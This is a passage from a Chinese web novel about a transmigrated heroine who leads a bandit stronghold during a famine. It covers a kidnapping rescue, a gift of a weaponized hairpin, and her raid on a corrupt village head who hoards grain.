她还是说谎了,毕竟是在城中长大的,面对这里简陋的设施,还是习惯不过来。
但好在,她能将就,比较苦恼的是每晚都得安慰那爱哭的小丫鬟。
闲聊间,不注意飞来一只麻雀,吓得宋诀霖没站稳,向后倒去。
刹那间,有人快过甄榆迅速接住了她,并轻声道:“这地不平,小心点。”
瞳孔描绘他的眉眼,听这一语,宋诀霖小声道谢,没忍住红了耳朵。
甄榆俩眼在二人之间打转,暗中翘起嘴角,内心激动。
真情侣就是好磕!!!
不枉她将二人房间安排一处。
宋诀霖像是想到什么,嘴巴张了又张,不好开口。
甄榆看出她有心思,耐心询问:“有什么事吗?没事,尽管说,我能做到的一定办。”
宋诀霖握紧手,红唇紧抿。
一依见自家小姐不好意思开口,主动上前道出主子的意思。
“甄姑娘,我家小姐是想问你能不能在她房中单独安排个浴盆,和其他女眷坦然相待小姐很难为情。”
宋诀霖瞪了下一依,但还是望向甄榆,漂亮眸子充满期待。
“行啊,这不是什么难事,也怪我没想周到。”
到底是金贵身躯,和甄榆他们还是不一样的。
“由此,那感谢甄姑娘体谅。”
今夜,做好的浴盆送进了宋诀霖的房间。
甄榆还想问要不要做俩个,被她婉拒,她和一依共用一个。
甄榆没强求,叫人将尺寸又加大一码。
8. 第 8 章
第二天,甄榆敲响张庆昶的木门,开门见到她的张庆昶很是意外。
“甄丫头,你一大早来我这干啥?”
“听闻你生病了我来看看。”
“谁如此多嘴,我身体好着了,不用……”
张庆昶还想阻拦,无奈甄榆一个下腰溜进房。
顿时他警铃大作,喝的酒瓶子还没来得及扔。
甄榆拿起瓶子,在他面前晃了晃,全身写满“怎么回事”。
张庆昶搓了搓手,一本正经开始推卸责任。
“都是王头子的错,我说了不喝不喝,他还强塞,没办法陪他喝了一壶。”
“丫头,你找人得去找他啊,跟我可没关系。”
甄榆不想戳穿他的谎话,在他眼皮子底下收走了全部酒罐。
“张叔,你不能再喝了。”
这时,蓝□□面出现覆盖她的眼睛。
上面是张庆昶一些个人信息,包括他的人际关系。
看到什么,甄榆蹙起眉头。
张叔竟然认识温伍郎?张叔以前还当过官?
然而,甄榆没有多问。
毕竟,这个寨子存在太多秘密。
“大当家?”
许是声响惊扰了里屋休息的温伍郎,出门见到甄榆,眯起了眼。
明显感觉到对方心情不错,张庆昶眉眼间露出疑惑。
这小子……
“怎会来此处?”
甄榆瞧着他面孔,眼角泛红,睫毛还带着水珠,明显刚睡醒的样子。
急忙偏过头,压下想揉他脸颊的想法。
“不是说张叔生病了嘛,我过来看看。”
温伍郎看向张庆昶,正巧,对方也看过来。
张庆昶齐眉弄眼:看你干的好事。
温伍郎:=^_^=
张庆昶:你看怎么解决吧
温伍郎:=^_^=
张庆昶:……
温伍郎伸手帮甄榆翘起的毛发压下,柔和声音飘荡在她耳边。
“有我在,张叔没事的。”
甄榆抬头,张口想说什么被出现的一框信息堵在嗓口。
在标注的好感度和武力值那出现了极端的反差。
好感度:95%
武力值:0
那空荡的武力值差点令她以为看错了,瞧了眼某人又低下头去。
这么一看他也不像是会武功的,不然早逃走了。
令她诧异的是,明明书中描写这个人对原身并无情感,为何好感度如此之高?
她不知道,在她偷偷看某人时,面前蓝色面板标注“心动值”三个字的框值在慢慢上升。
一旁张庆昶看了看小动作不断的甄榆,又看了看一直朝小姑娘笑的温伍郎,眼珠转了转。
沉默时间里,三人各怀心思。
还是甄榆率先打破寂静,她警示般看了眼张庆昶,随后对温伍郎道:“我准备去县城采购一些日品,要跟我一起去吗?”
被邀约的温伍郎笑意加深,刚想答应猛然发现什么转了个弯摇头。
“我不方便出去,如果可以的话烦请大当家替温某买列单上的东西。”
甄榆接过,匆匆扫过,基本都是医用商品。
收起来,她问道:“你自己不用买点什么吗?”
温伍郎摇头:“多谢大当家关心,我不缺什么。”
张庆昶也无需要,甄榆拿着单子回了大寨。
目送她走远,温伍郎转头撞上张庆昶的视线。
“我可告诉你你要诚心喜欢那丫头就好好待她,要是负了她,我拼上这条烂命也不会让你好过。”
张庆昶表情严肃,警告道。
温伍郎低头轻抚腰间的玉笛,黑眸似有千万情愫:“当然。”
大寨会堂。
甄榆进门望见宋诀霖正在读一封信,一依等人在身边观察她的表情,没有上前。
看完最后一行,宋诀霖收起来,对甄榆及众人表达信里的大概意思。
“住在乌州城里的外祖父得知我状况,为了安全他会在半月之后安排一支队伍护送我到长古城。”
半月后,正是五月初头。
“我有事也要去往那里,到时候能否与宋姑娘同行?”
“好啊。”
知道周延池要同行,宋诀霖道出的语气都带了点雀跃。
“对了,甄姑娘找我们是有什么事吗?”
宋诀霖看向暗笑的甄榆,有些疑惑。
甄姑娘笑啥?难道我脸上有东西?
摸了摸脸,更加困扰。
也没有啊。
甄榆咳嗽声,回归正题:“我来是想问问你们有什么缺的?”
“甄姑娘是要去县城吗?一起吧,正好去准备一番。”
无声反对,甄榆点头。
次日一早,陈酒看着即将要离行的几人,抱着甄榆的大腿哭丧:“阿姐,不能带上我吗?”
甄榆使劲抽腿,拍了下他脑袋终于抽出:“你得留下照顾寨里,听话,我回来给你带好玩的。”
陈酒见好就收不继续纠缠:“那好吧。”
“记得保护好二当家。”
脑海浮起那手不能提肩不能扛的某人,甄榆就觉得有必要关照一下。
留下这句,甄榆跟着队伍下了山。
停在原处的陈酒脑袋上却露出问号。
二当家需要他保护吗?
洸阳县内。
一路上甄榆众人见到了不少因找不到食物而抢夺别人的残局,有惊无险来到县城门口,情况才好转点。
他们还没拿出路引,门口侍卫见到周延池和宋诀霖俩大世家立即让出队伍。
“周大公子,你从京城过来,知晓这饥荒什么时候能结束吗?那只剩皮骨的村民见我们就像见到肉似的,老吓人了。”
林小观语落,其他人点点头。
特别是宋诀霖,被吓得不轻。
她自幼生活在京城,如果不是她父亲察觉朝堂隐约不稳,让她去外祖父家躲躲,恐怕此生见不到方才那场景。
周延池琢磨片刻,话语带着犹豫:“快了,皇上已颁布新政策,各处灾区已有明显效果,这儿也不远了。”
听他一讲,别人也不好说什么。
而他们没有发觉,因为周延池和宋诀霖气质着实出众,从进城起便引得外出行人偷摸打量。
洸阳县相比于外面情况好一点,家家户户会屯个粮,再不济也会投奔亲戚家。
但开张的店铺没有几个。
甄榆先是购买了缺的调料,之后拿出单子挨家挨户进出。
可出来开罗的药铺实在少,最后还有一大部分没有寻到。
甄榆收起来,不打算找下去。
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就算努力去寻恐怕也找不到,既然这样也不用浪费力气了。
经过一家衣铺,甄榆不经意看中一条布匹,转身进去。
这家铺子位于街的中部,按理说是个好位置,生意应当红火,但不知是不是因为世道不好,目前只有甄榆一个顾客。
衣铺东家见有人光顾,立马笑脸相迎。
“姑娘眼光可真好,这匹料子是前几天刚进的货,触感光滑,穿着也舒服,可惜遭逢天灾,来卖的人寥寥无几,再不转好,我这铺子也开不下去了。”
东家是个较肥胖的妇女,脸型憨厚,给人的感觉是比价亲近。
甄榆往里头又转了会,拿起看中的青色布匹问道:“多少一匹?”
“姑娘手中的是上品,得是500文。”
“450。”
“啊?这……”
面对甄榆毫不犹豫的砍价,衣铺东家显然愣住。
“姑娘,你这……不是为难我吗?”
“哎,大娘,你便宜卖我,如果这真的好,回去我肯定宣传。我住的地方可有几千户不等,你想想,你以后赚的可就不是500文了。”
一通诱惑下,那东家高兴地以450文钱卖给了甄榆。
此外,甄榆预购了四百匹左右的布料,交了一半定金,约好下个月来拿。
算了算,余下的钱还能买个糕点。
因为没什么人买,所以糕点店家低价卖给了甄榆,最后竟剩下十文钱。
做好一切,甄榆叫着林小观去找宋诀霖他们。
在一家酒楼找到了周延池一行人,却不见宋诀霖。
“我们没走几步,便和他们分开了,他们没去找你们吗?”
甄榆震惊摇头,周延池脸色暗沉,转动手中酒杯。
距离他们到这已过去半个时辰。
甄榆内心疯狂呼叫系统。
【系统系统,帮我查查宋诀霖去哪了。】
【宿主,这个要求是要扣除一部分名气值。】
甄榆想了想,反正现在她活的过必死的前三章,只要躲开这个节点,剩下的可以慢慢攒。
【查!】
【扣除成功,开始查寻。宿主口中的人被人绑到了偏僻的柴房,这个柴房就在他们逛过的胭脂摊的后面。】
几乎是系统音落下后一秒,常跟在宋诀霖后面的护卫其一闪现在他们前面。
“周刺史,卑职知道宋小姐在哪。”
胭脂摊后,柴房内。
“呜呜呜,小姐,你醒了太好了。”
宋诀霖感到头晕目眩,被一依吵的甩了甩脑袋。
一个时辰前,她和一依在胭脂摊上挑拣,没注意被人用帕子握住口鼻昏了过去。
那人下的药剂比别人多了一倍,生怕她半路会醒。
她借着身后柴堆的力起身打量周围。
天花板的四处均生起了蛛网,墙壁霉菌明显,堆放的柴有些潮湿,还有几捆扎起来的草堆,窗户禁封,环境阴暗,看不出如今几时。
显然这是所很久没人进来的废柴房。
宋诀霖先平复好一依的情绪,轻声道:“我没事,就是不知道甄姑娘他们能不能找到我们。”
“这小姐放心,我昏迷前偷偷往袖子里藏了些脂粉,想必他们一定看得到。”
“那就好。”
可没放松多久,屋外传来响动。
9. 第 9 章
宋诀霖赶紧劝一依装睡,躺好姿势,下一秒大门打开。
进来的人瞅了一眼二人,“啧”了一声,出去重新将大门锁上。
“你们在这看好她们,别让她们逃了。”
“是。”
一堆人影最后只留下两人。
宋诀霖掀起眼皮看了会这才坐起身。
“小姐,他们好像是京城里的人……”
一依肩膀发抖,紧挨着自家主子。
她年龄尚小,不过十四,遇上这状况难免镇不下心。
宋诀霖惶恐。
若是京城来的人,那就有可能是二皇子阵营。
现在朝堂上以她父亲为首的文官还处于中立状态,自己不能成为父亲的累赘。
她左右观望,想到一个点子。
另一边。
来到洸阳县中央街道,甄榆在一家卖脂肪的小摊巷口处发现了细微的粉末,转头喊道:“这儿有胭脂。”
被围观询问的摊贩一瞧突然出现人高马大还一脸凶样的壮汉们,吓得话都说的不利索,等人群散去小心拍着胸脯。
这儿地形有些特殊,要到巷口转弯推门进入后院,再直通到隔壁院子里才能到达柴房。
甄榆沿着痕迹一路到达后院,还未伸手,身后的周延池察觉到什么一步上前拉开她。
退后的一刹那,引来无数带毒的飞针。
下意识,所有人开启了戒备状态。
看不见人,飞针却未停过。
周延池朝着甄榆的方向商量对策:“这样不是办法,我来掩护你,你趁机溜进去。”
“好!”
一瞬间,阵势转变。
林小观一众人配合周延池挡住飞来针头,周延池部分随从跟着甄榆打进后院。
高墙之上,露出一双双狠厉的双眼。
闻到什么,前位的头子转头瞳孔聚缩。
只见关着宋诀霖的地方燃着熊熊大火,浓烟滚滚,白色烟雾直冲天霄。
唤十七的暗卫一个轻功来到门口,敞开的大门内跑出俩个灰头苦脸的人,赫然是看守门口的手下。
二人见到头子,心虚低下头,弱弱叫道:“老大……”
“人呢?看管的人呢?!”
个子高点的上前一步,不敢看他的眼睛:“老大,本来我们看着好好的,不知什么时候后面冒出一股烟味,回头一看已经烧灼了,等我们冒着火进去查找,人也找不到了……”
往后越说声音越小,到最后细弱蚊声。
十七气得说不出话来。
“连个人都看不好!回去找我领罚!”
不敢多语,两小弟只能点头答应。
“人都没了,没必要呆下去,通知所有人,撤!”
一声口哨,后院暗藏阴处的一群人快速消失,留下有些懵逼的林小观他们。
“没……没人了?”
此刻火已被灭,整体柴房被烧的不成样子。
周延池迎面遇上找到一回的甄榆,着急问道:“怎么样,人找到了吗?”
甄榆递给他一个物件,低头一看是宋诀霖头上的发饰。
“我猜测宋诀霖她们逃出去了,但至于逃到了哪里还不清楚。”
东南角,簪雅阁。
宋诀霖喝着茶水,喘着气,仿佛刚才的一切是场梦。
两个时辰前。
宋诀霖让一依踩着柴堆用地上的石头戳破了一个洞,因院子靠阳,此刻正是阳光甚好时辰。
一有洞,光线争先抢后照进屋内,灰暗的房间出现一条强劲黄影。
有了足够的热量,宋诀霖取了两三个木柴放在阳光下暴晒,直到木柴被晒到干裂,宋诀霖开始用头上比较锋利的玉簪戳出木条,又削减一下头尖开始取火。
六弹指过去,一点火苗串起,到后来的烈火焚天。
之后她们躲在门后隐蔽处,趁看守的人将门打开撒腿跑了出去。
她们害怕逃不远愣是绕了一条街遇上了开女子发饰的魏娘。
魏娘出门买粮,望她们满脸惊慌,猜是遇上歹徒,便主动邀请她们去了自家阁房。
“多谢魏娘相救。”
“客气客气,不过我好奇你们是遇上什么事了?跑的如此惊恐。”
“我们也纳闷呢,没仇家,上个街就被绑起来了,好不容易才逃脱。”
“这样啊……那你们先歇着,有事唤我就行。”
宋诀霖又喝了一口,坐等甄榆他们找来。
门关上,一依靠近自家小姐。
“小姐,她好好看啊。”
宋诀霖脑海绘画出魏娘的样貌,点头赞同。
魏娘与她见过的女子不一样,衣着风流,五官却精致娇俏。
淡眉,眼长,唇轻薄。
称不上绝世美人但一定比寻常人具有吸引力。
闲着无聊,她不自觉端详起这件屋子。
前屋不大,多是女子发饰,头饰与手饰各类分开,样种繁多,看的宋诀霖眼花缭乱。
她凑身观察,发现头饰尾端异常尖锐,不似一般发饰般圆润。
宋诀霖不好上手摸,只好隔空观察。
“宋诀霖——”
熟悉声音响起,转移了宋诀霖的注意力。
往门口一看,不就是甄榆等人吗?
“魏娘,我好友来找我,告辞。”
“等下——”
清柔低绵的女音响起。
魏娘换了一身紫衣,胸前的紫色衣巾要掉不掉,腰间的衣带随意绑着,发丝落下几根,全身透露出随性散漫的气息。
她一出场,在场的男子倒吸一口凉气。
“我见与你有缘,送你一个防身器吧。”
话闭,宋诀霖感到手中多了一样金属制品。
是支银色发簪。
簪身秀丽,冠状奇形,呈蛇样,尖头异常锋利,仿佛轻轻划过手指便可破血。
“尖头插入人的喉咙即可见血毙命,上头的三颗珠子里藏有毒药,烟雾,蛊卵,任一一个都会致命。”
魏娘讲诉完用途,亲手将簪子插入宋诀霖的头发中。
宋诀霖摸着后脑多出的簪子,礼貌道谢。
而此时她才明白,店里的那些发饰都是女子可自保的利器。
甄榆把宋诀霖从头到尾检查一遍,看她没有受到什么伤害,心中送了一口气。
不枉他们一个个街的去找。
经过这么一遭,一行人没有闲逛的兴趣,众人商量一致打包回府。
方圆公里,京城。
“主子。”
一道人影闪入,半跪在一男子面前。
丰神俊朗的男子手研着磨,语气不轻不重。
“失败了?”
那人低着头,不语。
“罢了,本来就是恐吓一下那老
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头子,失败就失败吧。”
“竟敢上奏弹劾我,老不死的。”
十七低头,被面罩罩住导致说出的口气有些闷。
“那我们接下来做什么?”
“继续注意三弟那,其他按兵不动。”
“是。”
人影消失,白色纸张上也多出一字——静。
出了县城,碰巧要经过李大郎所住的村庄——青源村。
几天没见李大郎,甄榆决心去拜访下。
于是,其他人都同意后,甄榆和林小观以及一些兄弟进去,其余人留在村口等他们。
李大郎房子靠里,他们经过多户人家才找到。
途中有不少心怀不轨之人想要扣下他们,
可见着甄榆后有四五个五大三粗的汉子跟着,腰间还有刀,顿时无人做领头羊。
吆喝一声,李大郎从里头出来,瞧着是熟人,眼睛一亮。
“大当家怎有空来我这?”
“路过,过来看看你过的咋样。”
李大郎领着众人进屋,倒了茶水,与甄榆闲聊。
“我从大当家学到的学识回来教他们,果然起了成效,这是多余的我换算成了钱。”
李大郎掏出一打铜钱,估算有四十多文。
“还请大当家收下,算作是我在烛天寨所用的费用了。”
林小观见着钱,眼睛冒光,由于甄榆在场,他不敢上前拿。
“大当家收下吧,寨里钱财不多了。”
这么一说,甄榆想起。
她走时取了差不多三俩银子,剩下还真不多。
加上年近好点,到时候说不定还要买些什么东西。
这样想着她没再拒绝。
“从寨里取出的菜种成功种在了我这后院,大当家要去看看吗?”
来都来了,看看也无妨。
甄榆点点头:“成。”
因为是独自一人居住,李大郎拥有的畎亩并不多。
前院半亩,后院一亩三分地。
后院主要种植土豆,现在已发苗。
甄榆俯身摸着那些叶苗,通过质感感觉出缺陷水分。
她跟李大郎强调下,去看了其他菜地,有些是李大郎自家种的,因缺水严重大多活不长。
而青源村最近水源是村中心的水井,供一大家户使用,但逢十几天不下雨,那水井早已干涸。
要想打水需走一公里才能达到这村唯一小溪,且这溪经常断流,能不能瞧见水全凭运气。
一道声音拉回甄榆思绪。
“我求求你了,我娃不行了,需要这碗水啊。”
循声望去,是隔着俩户人家,一个头发凌乱的女子抱着身材魁梧,双颊凹陷,面色憔悴的男子的大腿。
女子面容消瘦,像是许久未进食,嘴唇泛白多层起皮,露出外的小臂没有多少肉,仅仅一块骨头支撑。
男子比地上的女子好点却也好不到那去。
男子一边挣脱一边喝着手里的水,骂一声踹一下那女子,但那人抱着着实紧,半天不见松手。
那男的似乎没有了耐心,喝完最后一口摔下瓷碗,挥起腰间大刀就要朝那妇女砍去,地上女子绝望闭上眼,俩行泪滴落地上。
寒光一闪,刀落地上,随后“彭”一声,未等男子回神被人踹在了土地里。
女子听见响声,仰头,一位年轻女子正扶她起来。
10. 第 10 章
“这位婶没事吧?”
刘婶擦擦眼角的泪,极力恢复情绪。
“谢........谢谢你们。”
踹人的林小观拍拍手,满脸鄙夷,话语嘲讽。
“还以为力气有多大,就这?”
孙二河艰难站起身,捂着被击中的地方爆脏口.
刚刚一脚林小观没收力,不至于断肋骨却也能让他回去躺上几天。
“妈的,哪个混蛋敢踢本大爷!”
看清站在他面前的一个个人高马大,皆携带兵器,一下灭了声。
他指向刘婶咒骂一句,撒溜烟跑远。
李大郎过来捡起掉落的头巾,还给她问起缘由:“刘姐,虎娃怎么了?前几天我不是给了一些食物和水吗?”
刘婶对出手的人道谢过后,叹息一声。
“有了粮食我立即给虎娃吃下,不幸被孙二河看见。他与我那在兵队服役的相公本就有过节,见我有食物心生不满,就....就带着一些人将你给的全部抢走还砸坏了不少东西..........”
“今天虎娃发烧昏迷,嚷着要喝水,没法,我只能挨家挨户讨碗水,好不容易讨到一碗未料被那人夺了去,虎娃半点没喝到.........我可怜的娃哎.........我这命咋那苦啊........”
刘婶哭得撕心裂肺,一度昏厥了过去。
众人将她抬到床上,转头望见另一张木席上躺着一小人,大约六岁。
叫做虎娃的孩子双目紧闭,手指蜷缩,全身通红,嘴唇喃喃,凑近一听像是嘟囔着“水”字。
“我去我那房取水给孩子喝。”
李大郎匆匆离开。
“你们几人先去溪边舀些水,越快越好。林小观!”
“大当家,我在。”
“你去村口通知宋姑娘他们先回寨里,我们需要在这解决一点事情,回来的时候顺便取点买的糕点。”
“好。”
命令下去,一大泱的人瞬间风流云散。
李大郎取来一些水和小米,先将水给孩子喝下,接着用剩下的水烧起米粥。
“大当家,水取来了。”
甄榆命人在另一个灶台口生起火,其他人照看刘婶和孩子。
水烧好,将虎娃全身擦拭一遍后,找的郎中也正好到。
虎娃吃了药,喂了点粥,表情不再痛苦。
结了钱,甄榆一行人席地而坐。
“李大郎,你跟我们说说到底怎么回事。”
李大郎看了眼甄榆,摇摇头长叹。
“大当家,刚才那人叫孙二河,是村霸最知心的手下。村霸仗着自己有个当里正的爹,经常带着自己兄弟在村里横行霸道。我回来那日愣是在家里躲着五天不敢出去,菜种也只敢给附近邻舍。”
“今天得罪了他,恐怕之后不好过了........”
有人听后愤愤不平,低声暗骂:“娘的,比我们还像盗匪。”
“都是群势利眼的玩意,哪天碰上比他们更有权威,屁都不敢放一个。”
林小观内心忍不住翻了个白眼,后悔刚刚没使劲踹。
“刘姐看家主不在,孤儿寡母的,周方邻居多多少少照看些,今儿不幸被那混子盯上了。”
话落,李大郎又一次摇头。
“大当家,他们已经回去了。”
林小观回来,怀里抱着什么东西。
“哎,不就拿个东西吗?你藏什么。”
林小观把衣服后包着的糕点小心取出,活动了一下筋骨。
“你不知道,我一出去就有很多人抬着头看我,那眼神活像看见了吃的,我要不藏起来,没法安全到这。”
这时,敲门声响起。
李大郎开出一条门缝是附近的伯婶,最近的婶子开口,关心问道:“我瞧着孙二河又找刘娘麻烦了,她咋样?还有你家咋来了那么多人?”
李大郎回头看了甄榆一眼,眼神询问能否放他们进来。
甄榆摇头,如果他们看见这个屋子有食物,保不齐会给刘婶带来危险,严重点他们都不能完好离开。
她赌不起人性。
接受信号,李大郎讪笑:“没,刘婶只是昏倒了,有我在照顾,来我家的那些人是之前相识的好友,路过此地特来看我。”
查找不到漏洞,一行人听到人没事点头离开,唯独最前面的郑娘看见没人,小心取出一碗面伸到李大郎面前。
“俺家没有多少米了,取了点面给刘婶跟虎娃吃点,她一人带个娃也不容易。”
李大郎心里一惊,没想郑娘家好不到哪去还愿意拿出点救济,开口对她承诺。
“在此我替刘姐谢过了,要以后有啥是尽可找我,力所能及内我一定帮。”
刘婶看李大郎一人居住,平时会多照拂照拂他,在他心里,刘婶已是家人般。
一盏茶过去,刘婶悠悠转醒。
看着房里一切,眼角含着泪朝着甄榆众人鞠躬道谢。
甄榆快速拦下,扶她到床边休息。
“既然迟早要被找上,还不如我们主动出击。”
一声令下,甄榆向李大郎了解更详细的信息。
青源村的里正家就在水井三米处,占着都是极好的地势,出去方便,上山轻松,这个时间点,里正上县城探粮,儿子在各个村户里搜刮粮。
商量一测,众人一拍即合,当即决定留四五个人护着刘婶他们,剩下人跟着甄榆闪击里正的家。
走之前,刘婶面带担忧:“你们正要去吗?他们家可不好对付。”
未等甄榆开口,一个老汉拍拍胸脯。
“且不说像孙狗子那不是我的对手,再来五个老子打他也不再话下。”
“就是,婶,等着我们好消息吧。”
甄榆呲个大牙,眼睛眯起。
“我们可不是普通人,我们是山匪,山匪抢劫,有何不妥。”
“啊?”
刘婶没反应过来甄榆的话,回过神抬眼已看不见人影。
不多时,他们来到了里正门口。
不亏是一村的官,房屋比别家气派多了。
这是众人看到红木大门内心第一个想法。
彼时,院里传来细微吵嚷声,大家一同望向站在最前面的大当家。
甄榆回头一个眼神,彼此心领神会。
院子围墙不高,甄榆等人爬上墙头绰绰有余。
里面三四个妇人围着一个圈磕着瓜子,身边跑过三二个孩童,均是里正那不远不近的亲戚。
她们个个面容饱满,没有半分饥瘦摸样。
“哎,你们说,贾老二今儿真有粮食拿?”
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>“还能有假,这可是他儿子亲口说的。”
“那他人呢?”
“带着其他兄弟向别家索粮去了。”
甄榆一闪身轻手跳下,在她们惊叫之前手刀一一劈晕。
里头男人听到动静,闻声出来,来不及张口眼前一黑。
醒过来看见五六个彪悍爷们不禁吓了一哆嗦。
“各位爷,咱这村挺穷的,没什么好让各位拿走,还请饶了我们。”
看来依照装束把他们当成劫匪了,不过他们还真是。
甄榆随手拿了个木凳坐下,指挥小弟替她审问。
“说,你们是不是张罗了不少钱财?”
里正的家跟别人简直不是在一个面上,这里有多宽大,就会凸显别户有多寒酸。
方圆几里惟有他家盖上了瓦房其他人还是草木屋。
有大刀抹在脖子上,但他们依旧支支吾吾。
持刀的汉子一怒,用力劈开了堆在院子的木柴。
“说不说!”
众人哆嗦,有个婶子经不住恐吓,结结巴巴开口:“我们……都是贾二伯婶……对他家情况并不……熟悉你要钱得找他们啊……”
“大当家,我们在这所房里找到了不少铜钱和银子还有一些粮食。”
甄榆观察手中的文钱,跟着人来到了偏僻小院。
进门,是被撬开的地窖,里面藏着被搜刮来的粮食,而在这屋板床底下摸出约莫2000文被红绳穿在一起的铜钱和20两银子。
望着这些,甄榆生起无名怒火,暗骂声拿着赃物怒气冲冲审问他们。
“还不想说吗?如果我把你们欺民掠粮,以权谋私事情举劾上去,连累的可就不是这里正了。”
一听自己会受到遭殃,他们也不瞒着了,开始前后将自己知道的道出口。
“姑奶奶,刀下留人啊,我们说,我们说还不行吗。”
“这粮食是贾老二的儿子自行组织去掠夺其他人户,真不管我们事啊。”
“口粮不足,哪里都吃不饱,贾小儿就出主意说以他为首组织个队伍对其他人户进行劫取粮食,他说以他爹身份谅他们也不敢说什么……”
有人悄声谩骂,有人朝他们身上忒口水,害怕战胜厌恶,他们半分不敢露出恼怒之色。
甄榆看向他们掩藏杀意。
“那你们知道你们抢了别人的口粮,别人怎么活下去?”
“不……知道……”
“我们真知道错了,还请高抬贵手放了我们吧。”
甄榆握紧手中文钱,锋利的圆壁隔着她手心泛起轻微疼痛。
“大当家,我们接下来干什么?”
甄榆还未回话,前方传来巨响。
“砰──”
红木大门敞开,走进几个面容粗犷的大汉。
以寸头脖颈有刀疤为首,几人骂骂咧咧。
“孙二河,你不是说只有几个人吗?”
孙二河苦笑,满脸谄媚上前认错。
“头儿,这事怪我,没看清情况让头儿及各位兄弟受罪了。”
边说边捶贾小二的肩膀,姿态谦卑。
看他们脸上,胳臂处挂彩,甄榆猜到是去找刘婶茬结果吃了闭门羹。
为首的人一愣,显然看见了甄榆一行人。
“你们是谁?咋在我家?”
11. 第 11 章
“你大爷。”
甄榆一吼出,身后小弟三两下将他们捆绑一起,脸上挂上新的肿痕。
随后,将贾小二掠来的一些粮还给了原本人家,顺手把地窖里的分发下去。
据他人描述,那些村民收到粮食后感激涕零,硬要上门跪拜感谢,劝说许久才打消念头。
银钱自上落下,在空中形成直线,回到甄榆手中发出脆响。
“喂。”
她踢了踢俩眼一大一小的贾小二,喝着茶水。
“你爹什么时候回来?”
“好.......好像是........后日。”
“你家多余的钱财哪来的?这可超出了所给的俸禄。”
此话一出,所有人盯着甄榆手中的钱,嘴里吐出污言。
“好啊,没想到贾老二那老狐狸还留了一手!”
“有了钱竟然瞒着我们,亏我们帮他做事!”
“上次朝他借钱他跟我说没有,敢情是不想借啊!”
吵闹声逐渐变大,惹得甄榆心生烦躁,眼力见的小弟一声吼,扫荡了一切碎语。
甄榆紧盯贾小二,眼神传递“不说就送你下地去”的信息,直让对方竖汗毛。
他至今未想明白明明面前就是个乳臭未干的黄毛丫头,气场是如何做到一人便是千军马的。
“姑奶奶,我虽是青源村里正的儿子,但我爹干得许多事我是真不知道啊,他还不让我过问.......”
严刑拷打甄榆做不到,威逼利诱他们三不知,没证据判刑他们不服气,最后,甄榆监督他们要在自己领导下对青源村做出一定贡献才会放过。
当然,搜刮出的粮食分给了村民,钱财按照每家的情况公平比例分发了下去。
对此,贾小二表示肉疼却又不敢表露出来,谁叫他打不过呢。
甄榆借来纸笔写信告知寨里人青源村污气严重她和兄弟们要暂住这里一段时间,不必挂念,有事可找另两位当家。
默念完,张庆昶放回桌上,慢悠悠喝起泡好的菊花茶,睨了一眼正对面正经危坐的读书人,口气带有挑逗意味。
“看来这几天某人要睹物思人喽。”
温伍郎不理会,默默翻着药书,虽然他纳闷这次为什么发生了改变。
“姐夫,张叔。”
敲响几声,门被推开,来的人是陈酒。
陈酒脸上冒汗,显然是跑来的,脚下还有黑团跟着吐舌头。
“对面山头的煞风寨一直看我们不顺眼,今天他们更是直接抢了我们寨里兄弟打的猎物,姐夫,这不能忍。”
“嗯?煞风寨以往不是不敢正面刚吗?这次怎么有骨气?”
张庆昶问出疑惑。
陈酒挠挠后脑勺,望向二当家。
“大当家不是出去了吗?对面人看我们核心骨不在又少了一些人力,这么好的机会当然不会放过。”
“那我们咋办?”
陈酒焦急问道。
猎物被抢这一消息传开,一部分兄弟脾气火爆不顾阻拦捎起家伙要让煞风寨的人付出代价,陈酒一听急忙跑来找二当家询问意见。
温伍郎视线从书上转移户外,他出去是不可能出去了,招招手在陈酒耳边嘀咕。
陈酒听完,眼神透露出担忧。
“这可行吗?”
最终他在温伍郎点头赞许的目光下离开了屋子。
盘子里的鲜果吃完,张庆昶起身拔掉一小瓶白瓷上的塞子仰头喝了一口,他伸手递到温伍郎面前,晃了晃瓶子。
“喏,尝一口?”
被邀请的人没什么表情,抬起手将瓶子推远了些,白色影子消失,耳边落入头顶一声“哼”。
掀起帘子,张庆昶走进里屋。
大寨楼。
县城的遭遇还是让宋诀霖等人精神未定,加上路上奔波劳累,很快她和丫鬟到了寨里休整了好几天。
出门耕田没多久,她收到甄榆要居住青源村的消息。
“甄姑娘不会遇到危险了吧?”
“不会,甄姑娘身手了的,一般人近不了她的身。”
随着周延池的话落,他们看见寨中有不少人手中拿着武器组群下山,避免有事发生,周延池阻止了宋诀霖一同前往。
“甄姑娘不在,我们应为她排难解忧,你留在这里也好有个对策。”
宋诀霖想了会,留了下来。
周延池下去,一眼瞟到了最前方的陈酒,他正对着众将说着豪言壮语,一番激励后浩浩荡荡向隔壁山头踏去。
周延池觉得眼前此景有些莫名熟悉,上次他抢粮好像就是这番操作。
煞风寨稳居的山头要绕一座小山,相对龙脉山要逊色很多,没有山石阻拦,不费吹灰之力到了门口。
“喊你们大当家出来,抢我们兄弟东西是几个意思昂?”
陈酒叉腰指着里面人喊道,半点没有畏缩害怕。
叫嚷声很快让煞风寨的头子在一堆人的簇拥下来到门口,手中拿着一个削好的牙签在剔牙,姿态傲慢。
看的陈酒心中直冒火,握紧刀刃。
那人披着虎皮,大腹便便,腰间围着红粗绳,旁边悬挂用骨头做的装饰。
“哟,这不是烛天寨的三当家吗?不知什么风把您吹来了啊?”
虽是客气话,语气却充满藐视。
“别假惺惺,你把兄弟们打的猎物藏哪了?!”
陈酒竖起大刀指向那人,似乎下一秒会立刻砍下。
莽珂俩指夹中间稍稍将刀偏移。
“哎,好歹是斗过几年的兄弟,小弟怎么会这么看兄弟?要真是我们拿了,我做主绝对会上门道歉,关键你们没有证据啊?是不?”
这话激起众人怒火,他们算是见到了煞风寨的厚颜无耻。
“你那么信誓旦旦不会介意我们进去搜查吧?”
神奇的是陈酒没有愠怒,他内心盘算小心思,反正他来的真正目的并不是讨要个说法。
莽珂咧嘴一笑,给他们让路:“当然,请。”
最后一个人走进寨里,莽珂低声询问旁边得力干将:“都处理干净了吧?”
被问的人点头:“放心,大当家,我们已经按照你的吩咐将从烛天寨那些人手中抢到的分给下面人了。”
莽珂冷笑:“没有东西我看他们怎么定我们罪。”
这个时间点,不远处的青源村正在进行改革。
“快点,没吃饭吗?”
甄榆一鞭子下去,扬起的尘土伴随贾小二等人的哀嚎回荡在青源村的土地上。
躲在房中的村民见贾小二终于有人收拾,纷纷出来凑热闹。
“谢天谢地,他早该收拾了。”
“可不,我还记得五天前就因为我男
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人不给他粮食,他就朝我男人胸口踹了一脚导致在床上躺了还几天……”
